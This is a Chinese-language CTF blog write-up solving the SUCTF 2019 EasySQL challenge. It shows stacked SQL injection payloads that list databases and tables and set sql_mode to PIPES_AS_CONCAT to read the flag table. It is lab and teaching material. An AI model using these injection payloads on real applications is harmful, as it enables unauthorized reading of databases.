POST
数字后回显Array ( [0] => 1 )
;
字母后没有回显;
有长度限制;
过滤了OR ,& ,select * from ,flag
没有错误信息,,我尬住了。
堆叠注入
个人理解就是使用;
闭合,造成执行多行sql
命令效果。
继续看题,查询库名试一下:
1 | 1;show databases; |
回显
1 | Array ( [0] => 1 ) |
查询表名:
1 | 1;show tables; |
回显了
1 | Array ( [0] => 1 ) Array ( [0] => Flag ) |
看到了flag
表,过滤了flag
,读数据不会读呃呃。
逻辑是select $_POST[query] || flag from flag
。
SQL Mode
SQL Mode
定义MySQL
应支持的SQL
语法,以及应该在数据上执行何种确认检查。
设置SQL Mode
:
1 | SELECT @@SQL_MODE, @@GLOBAL.SQL_MODE; |
其中:
1 | PIPES_AS_CONCAT |
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。
详细见手册
所以最后POST
为:
1 | 1;set sql_mode=pipes_as_concat;select 1 |
不太明白的是,源语句的逻辑怎么看出来的,是因为注一些字符没有输出吗,可能还是要多积累吧。
Tips
1.oracle
不能使用堆叠注入:若有两条语句在同一行报错。
2.没禁用show
关键词->堆叠注入。
参考
Author: suyumen
Link: https://suyumen.github.io/2021/05/19/2021-05-19-[SUCTF%202019]EasySQL/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.